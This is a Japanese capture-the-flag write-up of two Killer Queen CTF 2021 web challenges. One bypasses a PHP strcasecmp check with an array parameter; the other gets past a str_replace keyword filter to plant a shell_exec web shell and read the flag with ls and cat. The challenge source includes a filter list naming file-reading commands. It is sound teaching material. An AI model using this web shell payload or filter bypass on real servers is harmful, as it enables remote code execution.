Killer Queen CTF 2021 Web問 Write up


## Killer Queen　CTF

https://2021.killerqueenctf.org

Web問は全2問でした。
※追加予定だったようですが、トラブルにより問題が追加されることはありませんでした。



## Just Not My Type

### 問題ページ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1183260/60c47faa-07e2-f599-065e-cc1a2963faf6.png)


### ソースコード
```type.php
<h1>I just don't think we're compatible</h1>

<?php
$FLAG = "shhhh you don't get to see this locally";

if ($_SERVER['REQUEST_METHOD'] === 'POST') 
{
    $password = $_POST["password"];
    if (strcasecmp($password, $FLAG) == 0) 
    {
        echo $FLAG;
    } 
    else 
    {
        echo "That's the wrong password!";
    }
}
?>

<form method="POST">
    Password
    <input type="password" name="password">
    <input type="submit">
</form>
```


```
if (strcasecmp($password, $FLAG) == 0)
```
上記を満たせばフラグが獲得できそうです。

strcasecmpについて調べてみます。

>string1(最初の文字列)がstring2(次の文字列)より小さい場合は負、string1 が string2 より大きい場合は正、等しい場合は 0 を返します。
https://www.php.net/manual/ja/function.strcasecmp.php

とありますので0を返すよう処理させればいいということがわかりますが、$FLAGがわかりません。

しかたないのでバイパス方法を調べてみると、以下2つのサイトに興味深い内容を見つけました。
https://coderwall.com/p/lflzkq/php-strcmp-could-leave-you-alone-in-deep-sh-t
https://stackoverflow.com/questions/62866525/why-strcasecmp-return-true-with-array-and-string

"password[]=(任意の文字列)"を送ると$passwordは配列となり、これを比較するとnullが返されるとのことです。

また、下記のブログによるとnull==0はtrueになるので認証を突破できそうです。
https://blog.katty.in/51

自分の環境で検証してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1183260/98ec18d1-7a83-1d22-6565-109f51021c84.png)


思惑通り動作しました。

それでは問題の環境で試します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1183260/737f7a54-c66d-9586-d2a6-5c5a5c622291.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1183260/930f25b4-0570-5bd4-db18-2bbcd7752cc2.png)

flagゲットです。いえい。


余談ですが、もしソースコードが下記のようになっていたらバイパスには成功しませんでした。

```
if (strcasecmp($password, $FLAG) === 0)
```


## PHat Pottomed Girls

### 問題ページ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1183260/197770f1-4dab-74d4-2494-8c3869024581.png)
※デフォルトではNoteは３つしかありません。

### ソースコード
```addnote.php

<?php
session_start();

function generateRandomString($length = 15) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}
function filter($originalstring)
{
    $notetoadd = str_replace("<?php", "", $originalstring);
    $notetoadd = str_replace("?>", "", $notetoadd);
    $notetoadd = str_replace("<?", "", $notetoadd);
    $notetoadd = str_replace("flag", "", $notetoadd);

    $notetoadd = str_replace("fopen", "", $notetoadd);
    $notetoadd = str_replace("fread", "", $notetoadd);
    $notetoadd = str_replace("file_get_contents", "", $notetoadd);
    $notetoadd = str_replace("fgets", "", $notetoadd);
    $notetoadd = str_replace("cat", "", $notetoadd);
    $notetoadd = str_replace("strings", "", $notetoadd);
    $notetoadd = str_replace("less", "", $notetoadd);
    $notetoadd = str_replace("more", "", $notetoadd);
    $notetoadd = str_replace("head", "", $notetoadd);
    $notetoadd = str_replace("tail", "", $notetoadd);
    $notetoadd = str_replace("dd", "", $notetoadd);
    $notetoadd = str_replace("cut", "", $notetoadd);
    $notetoadd = str_replace("grep", "", $notetoadd);
    $notetoadd = str_replace("tac", "", $notetoadd);
    $notetoadd = str_replace("awk", "", $notetoadd);
    $notetoadd = str_replace("sed", "", $notetoadd);
    $notetoadd = str_replace("read", "", $notetoadd);
    $notetoadd = str_replace("system", "", $notetoadd);

    return $notetoadd;
}

if(isset($_POST["notewrite"]))
{
    $newnote = $_POST["notewrite"];

    //3rd times the charm and I've learned my lesson. Now I'll make sure to filter more than once :)
    $notetoadd = filter($newnote);
    $notetoadd = filter($notetoadd);
    $notetoadd = filter($notetoadd);

    $filename = generateRandomString();
    array_push($_SESSION["notes"], "$filename.php");
    file_put_contents("$filename.php", $notetoadd);
    header("location:index.php");
}
?>
```

配布されたソースコードより、ノートに入力した文字列をphpファイルに書き込んでいることがわかります。また、明らかに怪しいフィルターがかけられていることから、このフィルターをバイパスし、任意のコード実行することでFlagを入手しようと考えました。

filterにはstr_replaceという関数が使われていますので、これをバイパスします。

phpマニュアルには、
>「str_replaceは検索文字列に一致したすべての文字列を置換する」とあります。
https://www.php.net/manual/ja/function.str-replace.php

そのため、定義されている検索文字列（"?>"など）を入力すると置換されてしまいます。
また、下記の処理で3回filterにかけているので、これも考慮しなくてはなりません。

```
 //3rd times the charm and I've learned my lesson. Now I'll make sure to filter more than once :)

 $notetoadd = filter($newnote);

 $notetoadd = filter($notetoadd);

 $notetoadd = filter($notetoadd);
 ```

フィルターをバイパスするのに少し戸惑いましたが下記のサイトが参考になりました。
https://webty.jp/staffblog/production/post-994/
https://www.youtube.com/watch?v=8NielPoOA6s

色々と調整した結果、最終的にこちらの形になりました。

```
notewrite=<<<<????php+echo+shell_exec($_GET["cmd"]);????>>>>
```

下図は上記コードを入力し、該当のNoteをブラウザでアクセスした際の画面です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1183260/e1079e02-64b5-ea4b-aa82-4b06a1dcc7d0.png)

うまくWebshellを埋め込むことができていそうなので、あとはflagを探し、読み取るだけです。

問題文に
>flag is in the root directory

と書いてあったのでlsコマンドで探してみます。


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1183260/92ca702c-3eb8-09bc-6f8e-1ceeba4cc633.png)

flagが記載されていそうなファイルを見つけました。catコマンドで中身を見てみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1183260/bc458499-72d6-ce6c-5375-bcfcf96633f5.png)


flagゲットです。

※記事内容に間違いがあれば、TwitterアカウントまでDMいただけると幸いです。すぐ修正します。